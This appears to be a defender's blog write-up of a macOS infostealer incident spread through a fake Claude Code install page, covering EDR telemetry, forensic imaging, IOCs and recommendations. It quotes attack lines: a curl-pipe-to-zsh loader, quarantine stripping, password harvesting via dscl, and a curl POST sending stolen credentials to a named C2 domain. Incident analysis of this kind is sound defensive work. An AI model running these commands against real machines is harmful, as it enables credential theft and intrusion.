I spend a lot of time in SentinelOne. Between tuning alerts, tweaking endpoint policy, and the general chaos of keeping a fleet healthy, the Deep Visibility console is basically a second home at this point. So when a high-priority ticket came in late on a weekday evening describing what sounded like a malware execution on a developer’s MacBook, I was already familiar enough with the tooling to know we could reconstruct exactly what happened — if the telemetry was there.
It was. All of it.
In early March 2026, Push Security published research on a campaign they named “InstallFix” — a malvertising technique targeting developers and power users who Google popular CLI tools. The playbook is almost insultingly simple: clone the official install page for a well-known tool, swap the install command for a malicious one, buy a Google Ad to push it to the top of results. User searches for the tool, copies the command, pastes it into their terminal. Done. Malware runs immediately with their own user permissions, no elevation required.
One of the first targets was Anthropic’s Claude Code. Push Security described the fake pages as indistinguishable from the real thing to a typical user.
A few weeks after that report dropped, I worked an incident that matched this campaign almost exactly. What follows is a walkthrough from the initial ticket through full attack chain reconstruction, based on real SentinelOne EDR telemetry. Writing this for other defenders who want a practitioner-level view of what this actually looks like from the inside.
All user-identifying information has been anonymized. IOCs are at the end of the post.
The Ticket
Late weekday evening. The affected employee — I’ll call them “the user” throughout — had been wrapping up their day researching tools to improve their Claude Code workflow. They hit what looked like an official Anthropic installation page and ran the install command it provided via macOS Script Editor.
Almost immediately something felt wrong. They stopped the script before completing any password prompts and powered off the device when SentinelOne flagged an alert a few minutes later.
Their ticket was clear, detailed, and honest. They knew what had probably happened and weren’t minimizing it. That kind of immediate transparency made a real difference in response speed — and I’ll come back to that later.
The device: MacBook Pro running macOS Sequoia 15.7.5, enrolled in SentinelOne under our Engineering site with a Protect (Kill/Quarantine) policy.
The SentinelOne Alert
The alert was disorienting at first glance. The threat name was “Script Editor” and the file path pointed to a legitimate macOS system utility:
/System/Applications/Utilities/Script Editor.app/Contents/MacOS/Script Editor
SHA256 came back clean on VirusTotal. On the surface this screams false positive — Script Editor ships with macOS. But the classification was Malicious, confidence High, originating process was launchd, and the threat graph told a completely different story: one root node branching into over twenty child indicator nodes, with a subnet node at the far right for outbound network connections.
The key thing to understand here: the malicious file wasn’t the payload — it was the entry point. The attacker used Script Editor as the execution vehicle for a script the user pasted in. SentinelOne was flagging the behavior spawned from that process, not the binary itself. That distinction matters a lot for how you interpret the alert.
Reconstructing the Attack Chain
The SentinelOne threat export gave us the full picture. Here’s what happened, broken down by phase.
Phase 1 — Initial Execution (T+0 to T+6 seconds)
The install command was obfuscated using a tr character substitution — simple, but enough to slip past string-based detection. Decoded, it was a curl command pulling a remote script from an attacker-controlled domain and piping it directly into zsh:
sh -c curl -SsLkf $(echo '[obfuscated string]' | tr '[charset]' '[mapped charset]') | zsh
This is the curl-pipe-shell pattern. The malicious code never touches disk as a scannable file. It executes directly in memory.
Phase 2 — Helper Binary Dropped (T+7 to T+16 seconds)
The decoded script immediately fetched a second-stage binary called “helper” from the attacker’s server and dropped it to /tmp/helper. Three commands, fast:
xattr -c /tmp/helper— stripped the quarantine attribute, bypassing Gatekeeperchmod +x /tmp/helper— made it executable- Binary executed
Initial script execution to a live malicious binary running on the system: roughly 10 seconds.
Phase 3 — Password Harvesting (T+17 seconds to T+1:28)
Here’s where it gets interesting. The helper binary launched osascript (AppleScript) and started attempting to obtain the user’s macOS login password using dscl . authonly — a legitimate directory service utility that verifies credentials. It cycled through blank passwords first, then various attempts, until around T+1:28 it got the plaintext macOS login password.
Two things worth noting. First, the user reported not knowingly entering their password into any visible prompt — the malware obtained it another way, most likely via a convincing fake system dialog. Second, that password was used later to run privileged sudo commands. The attacker didn’t need to exploit anything. They just asked nicely, with a fake dialog box.
Phase 4 — Mass Data Collection (T+1:29 to T+1:36)
Password in hand, the malware swept everything it could reach into a temporary staging directory. Under 10 seconds. The scope of what it targeted is worth reading slowly:
Credentials and auth:
- macOS login keychain database (
login.keychain-db) - Safari cookies (
Cookies.binarycookies) - Shell history (
.zsh_history)
Cloud provider credentials:
- AWS credentials and config (
~/.aws/credentials,~/.aws/config) - GCP credentials database and application default credentials (
~/.config/gcloud/) - Azure MSAL token cache, session tokens, access token logs, profile files (
~/.azure/)
Browser data — every installed browser:
- Firefox (multiple profiles including Developer Edition): cookies, saved logins, encryption key database, form history, extensions
- Chrome: Login Data, Cookies, Web Data
- Brave: Login Data, Cookies, Web Data
- Edge: Login Data, Cookies, Web Data
Developer tooling:
- SSH known_hosts (
~/.ssh/known_hosts) - Docker registry config (
~/.docker/config.json) - FileZilla site manager and recent servers (
~/.filezilla/)
Other:
- Apple Notes database (full NoteStore.sqlite)
- Telegram Desktop session encryption keys
- Binance desktop app data
- TonKeeper crypto wallet config
It also ran system_profiler to collect hardware/software inventory and queried the device’s hardware UUID. Standard infostealer reconnaissance — building a profile of the machine before moving on.
Phase 5 — Exfiltration (T+1:36)
Everything got compressed into /tmp/out.zip using native macOS ditto, then sent out via HTTP POST:
curl -X POST -H "user: [token]" -H "BuildID: [token]" -F "file=@/tmp/out.zip" https://mpasvw.com/contact
Staging directory and zip deleted immediately after upload. SentinelOne’s network telemetry confirms the connection to mpasvw.com.
Total time from initial script execution to complete exfiltration: approximately 96 seconds.
Phase 6 — Persistence Installation (T+1:38 to T+1:41)
After cleaning up, the malware wasn’t done. It fetched a second payload — AccountsHelper — from another attacker-controlled domain and installed it in a hidden directory built to blend in with legitimate Apple system components:
~/Library/Application Support/.com.apple.accountsd/AccountsHelper
Then used the stolen password to install a root-level LaunchDaemon:
/Library/LaunchDaemons/com.apple.accountsd.helper.plist
This survives user logout and restart, running as root. The naming convention — mimicking Apple’s legitimate accountsd process — is deliberate camouflage. Casual inspection walks right past it.
The user powering off the device around this point prevented the backdoor from ever phoning home.
Why Didn’t the Controls Stop It?
Two questions came up from the team immediately: why didn’t BeyondTrust (PAM) block the privilege escalation, and why didn’t SentinelOne stop the attack earlier?
On BeyondTrust: Most of the damage — credential harvesting, browser data theft, cloud token collection, exfiltration — required zero privilege elevation. A standard user account has full read access to their own home directory, and that’s where almost all the valuable data lives. BeyondTrust isn’t designed to stop a process running as the user from reading the user’s own files. The sudo commands used for persistence were executed by piping the stolen password directly to sudo -S, which may have bypassed BeyondTrust’s interactive elevation workflow entirely depending on policy config. Worth auditing in your own environment.
On SentinelOne: The agent detected correctly and classified it as malicious — but the detection came after exfiltration had already completed. The whole attack ran in under 100 seconds. Every command the malware executed used native macOS binaries: curl, bash, zsh, osascript, cp, ditto, chmod. None of those are malicious on their own. SentinelOne’s behavioral engine had to recognize the pattern of them being chained together, which takes longer than signature-based detection. The payload binary had zero VirusTotal hits — freshly compiled or recently mutated, so signatures were never an option anyway.
The detection was real and correct. The timeline was just brutal.
Incident Response
Once the telemetry was analyzed, the priorities were clear:
Immediate:
- Device stayed powered off and untouched
- All browser sessions and passwords reset for the affected user
- Microsoft and Google sessions revoked
- AWS, Azure, and GCP credentials flagged for rotation pending confirmation of active use
- All three C2 domains blocked at DNS level
Forensic preservation:
- Full SentinelOne threat export and EDR telemetry CSV preserved
- Forensic image of the device planned prior to wipe
Remediation:
- Full wipe and OS reinstall — no restore from backup
A Note on the User
The user did everything right after the fact. Recognized something was wrong quickly, stopped, reported it immediately, kept the device offline, and was completely straight with us throughout the investigation. That matters more than people think — a delayed report or a minimized ticket would have changed the response timeline significantly.
This campaign is engineered specifically to be indistinguishable from a legitimate install process. The fake pages replicate Anthropic’s branding, layout, and documentation sidebar closely enough that Push Security’s own researchers called them indistinguishable to a typical user. Experienced developers who care about security have been caught by this. It’s not a failure of awareness. It’s a failure of how developer tools get distributed and discovered right now — sponsored results shouldn’t be able to impersonate official documentation, and yet here we are.
Forensic Analysis
With the incident contained and the device off, the next step was forensic imaging and analysis. I want to be honest about this section — including the parts that didn’t go smoothly — because most IR write-ups skip straight to clean results and pretend the process is linear. It isn’t.
Imaging the Device
M-series MacBook Pro. First complication, immediately. Traditional Target Disk Mode — the standard approach for Intel Mac forensic imaging — doesn’t exist on M-series hardware. Apple replaced it with Share Disk mode, which doesn’t give you raw block-level access.
The workaround: boot into macOS Recovery and use the built-in dd command to image the full physical disk to an external Samsung T7 SSD:
dd if=/dev/disk0 of=/Volumes/ExternalDrive/zfitz_image.dmg bs=4m
A few things I had to figure out along the way that are worth documenting:
fdesetupisn’t available in Recovery Mode on M-series — usediskutil apfs listto check FileVault status insteadshasumis also unavailable in Recovery —md5is your fallback for on-device hashing, follow up with sha256 on the forensic workstation- Image the full physical disk (
disk0), not just the APFS container — you want the partition table, recovery partition, everything - The T7’s USB 3.2 speeds made it manageable, but a ~500GB drive still takes time. Plan for it.
Final image: just under 1TB.
Setting Up the Analysis Environment
Kali Linux VM on a Windows host with 96GB of available RAM. Tool of choice: mac_apt — an open-source Python-based macOS artifact parser by Yogesh Khatri, built exactly for this kind of work. Getting it running on Kali was its own side quest:
pyewfisn’t available via pip and has to be built from sourcepytsk3has similar dependency issues depending on your Kali version- Several other packages need manual installation before mac_apt will even launch
If you’re standing up a macOS forensic capability on Linux for the first time, budget a solid hour for dependency resolution before you expect to be analyzing anything. I did not budget that hour. I learned.
The Encryption Problem
First thing mac_apt told me once it was running:
Volume appears to be ENCRYPTED.
FileVault was enabled — good practice, annoying timing. Fortunately the SentinelOne telemetry had already surfaced the user’s macOS login password, which doubles as the FileVault decryption key. Passing it via the -p flag let decryption proceed.
Memory Constraints With a Large Encrypted APFS Image
This is where things got genuinely messy. Parsing a ~1TB encrypted APFS image from an M-series Mac on macOS 15.7.5 pushed well past what free tooling handles gracefully. Initial run hit a MemoryError with 16GB of RAM allocated to the VM. Bumped to 24GB — different error. mac_apt started hitting APFS object types it didn’t recognize, likely structural changes introduced in macOS 15. Version compatibility issue at the edge of what the current release supports.
It’s the Dark Souls of forensic tooling at the bleeding edge — you hit a wall, you learn what you’re missing, you try again differently.
Where Things Stand
Full mac_apt analysis is still in progress at time of writing. The image is intact and preserved. The artifacts I most want to recover:
- Browser history around the 17:10–17:15 MT window — to identify the exact malicious URL visited
- Remnants of
/tmp/77977/— to see if any collected credential files survived the post-exfiltration cleanup - The AccountsHelper and .service binaries — to get hashes to VirusTotal for potential malware family attribution
I’ll update this post or make a new one when time allows for analysis wrap up.
Lessons From the Forensic Process
- Commercial tools handle this significantly better. Cellebrite, Magnet AXIOM, and Recon Lab all have solid M-series and FileVault support. If your org does Mac forensics with any regularity, the investment is worth it.
- mac_apt is excellent but has limits at the bleeding edge of macOS versions. Keep it updated and expect manual troubleshooting on very recent OS releases.
- The SentinelOne telemetry was the real forensic record. The EDR data gave us a complete attack chain reconstruction before we’d successfully parsed a single byte of the disk image. That’s a strong argument for making sure your telemetry retention and Deep Visibility licensing are solid — it may be the most useful forensic tool you have.
- Budget more time than you expect for M-series imaging and analysis. Hardware encryption plus large NVMe storage plus evolving APFS structures makes this meaningfully harder than Windows or Intel Mac forensics with equivalent tooling.
Indicators of Compromise
Block the domains at DNS level. Add the hash to your EDR watchlist.
C2 Domains:
jpbassin.com— initial payload and helper binary deliverympasvw.com— data exfiltration endpointaforvm.com— secondary backdoor delivery
File Hashes:
- Helper binary SHA1:
df51054a461aea776d13aa20f75154aa38d9c26f
Persistence Artifacts to Hunt For:
/Library/LaunchDaemons/com.apple.accountsd.helper.plist~/Library/Application Support/.com.apple.accountsd/AccountsHelper~/Library/Application Support/.com.apple.accountsd/.service
Recommendations
Defensive Action Items for Security Teams
defenders:
immediate_actions:
- block_dns: ["jpbassin.com", "mpasvw.com", "aforvm.com"]
- strip_search_ads: "Deploy NextDNS/Cloudflare Gateway to filter sponsored results company-wide"
edr_and_identity:
- s1_policy_tuning: "Enable Network Quarantine and lower behavioral thresholds for osascript chaining"
- session_control: "Enforce aggressive Conditional Access lifetime limits to kill stolen browser cookies"
- file_protection: "Create FIM/EDR rules isolating ~/.aws and ~/.azure from non-whitelisted binaries"
- pam_audit: "Review BeyondTrust/PAM handling of 'sudo -S' piped password injections"
- retention: "Validate Deep Visibility telemetry retention is fully active"
Security Best Practices for Engineering Staff
developers:
hygiene:
- verification: "Cross-check all CLI install commands against official vendor organic domains"
- search_safety: "Treat sponsored Google/Bing results as untrusted; use ad-blocking extensions"
- package_managers: "Install directly via trusted native systems (e.g., npm install -g @anthropic-ai/claude-code)"
deception:
- canary_tokens: "Deploy dummy canary AWS keys in local profiles to alert on silent exfiltration events"
Closing
What stuck with me most about this one was the speed. Initial script execution to complete exfiltration and persistence installation: under two minutes. No suspicious executable dropped. No permission prompt that felt obviously wrong. Just native macOS utilities, chained together in a pattern that takes longer to recognize behaviorally than it does to execute.
No single control stopped this attack. The combination of a user who reported it immediately, EDR that captured the full telemetry, and a response process that moved fast on credential rotation is what limited the damage. That combination isn’t an accident — it’s what you’re building toward every time you tune a policy, train a user, or make sure your telemetry retention is actually configured correctly.
The full Push Security research on InstallFix is worth reading: pushsecurity.com/blog/installfix
Questions or want to dig into any part of this: hello@zacmilla.com | linkedin.com/in/zac-milla
All IOCs published for defensive purposes. User and organizational details anonymized.